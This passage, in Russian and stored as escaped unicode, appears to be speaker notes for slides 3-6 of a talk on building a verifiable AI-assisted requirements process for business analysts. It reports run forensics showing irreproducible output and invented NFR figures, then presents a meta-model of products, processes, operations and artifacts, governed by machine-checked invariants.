\u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0438\u0439\u00bb \u0442\u0435\u043a\u0441\u0442 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0433\u043e\u0434\u0438\u0442\u0441\u044f. \u041d\u0443\u0436\u043d\u0430 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u043e\u0442\u0434\u0430\u0432\u0430\u043b\u0438\\n\u044d\u0442\u0443 \u0440\u0430\u0431\u043e\u0442\u0443 \u0418\u0418\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\\n\u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\\n  [\u0432\u0441\u0435 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c, \u043f\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c.\\n- 17 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440. \u041c\u0435\u0442\u0440\u0438\u043a\u0430\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u0414\u0430\u0436\u0435 \u043e\u0434\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430,\\n  BCREQ-1074, \u0432 \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b\u0430 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442, \u0438\u0437 \u043a\u0430\u043a\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438. \u0422\u0430\u043a\u043e\u0439\\n  \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0438 \u043d\u0435\u043b\u044c\u0437\u044f \u0447\u0435\u0441\u0442\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c. \u0412 RUN-0015 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u0435\u0432\u044b\u0435 NFR \u2014\\n  5 \u043c\u0438\u043d\u0443\u0442, 100 \u043c\u0441, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b, 24/7. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0432\u0441\u0451 \u043e\u0442\u043a\u043b\u043e\u043d\u0438\u043b\\n  \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a.\\n- \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0442\u043e, \u0447\u0442\u043e\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0436\u0435 \u0443\u043c\u0435\u0435\u0442. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e\\n  \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f.\\n- \u0418\u0442\u043e\u0433: \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u2014\\n  6%. \u042d\u0442\u043e \u043d\u0430\u0448\u0430\\n  [\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n**\u041a\u0430\u043a \u043f\u043e\u0434\u0430\u0442\u044c:** \u043d\u0435 \u00ab\u0418\u0418 \u043f\u043b\u043e\u0445\u043e\u0439\u00bb, \u0430 \u00ab\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442, \u0447\u0442\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c\\n\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c\u00bb. \u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0434\u0430\u043d.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043f\u0435\u0440\u0432\u0430\u044f \u0440\u0435\u0430\u043a\u0446\u0438\u044f \u2014 \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442. \u041c\u044b \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u0438\\n\u0434\u0435\u043b\u0430\u043b\u0438, \u0434\u043e\u043b\u0433\u043e\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434. \u042d\u0442\u043e \u043a\u043b\u044e\u0447 \u043a \u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\\n\u0432\u044b\u0440\u043e\u0441 \u0438\u0437 \u043d\u0435\u0443\u0434\u0430\u0447, \u0430 \u043d\u0435 \u0438\u0437 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\\n  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\\n  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e \u0441\u0445\u0435\u043c\u0435 \u00ab\u0434\u043e\u043c\u0435\u043d \u2014 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0440\u0435\u0436\u0438\u043c\u00bb.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442, RFC \u0438 \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u0412 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442. \u041a\u0430\u0436\u0434\u044b\u0439\\n  \u043f\u0440\u043e\u0433\u043e\u043d \u0441\u0442\u0430\u043b\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443: \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u043c\u0435\u0442\u0440\u0438\u043a\u0438.\\n- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\n  \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438: \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c \u043d\u0430 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0432 66 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u041a\u0430\u043a:** \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0432\u0430 \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430, \u0434\u0432\u0430 \u2014\\n\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0421\u0430\u043c\u043e\u0435 \u0432\u0430\u0436\u043d\u043e\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0441\u0445\u0435\u043c\u0435 \u2014 \u043d\u0438\u0436\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e\\n\u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u043f\u0440\u043e\u0440\u044b\u0432\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 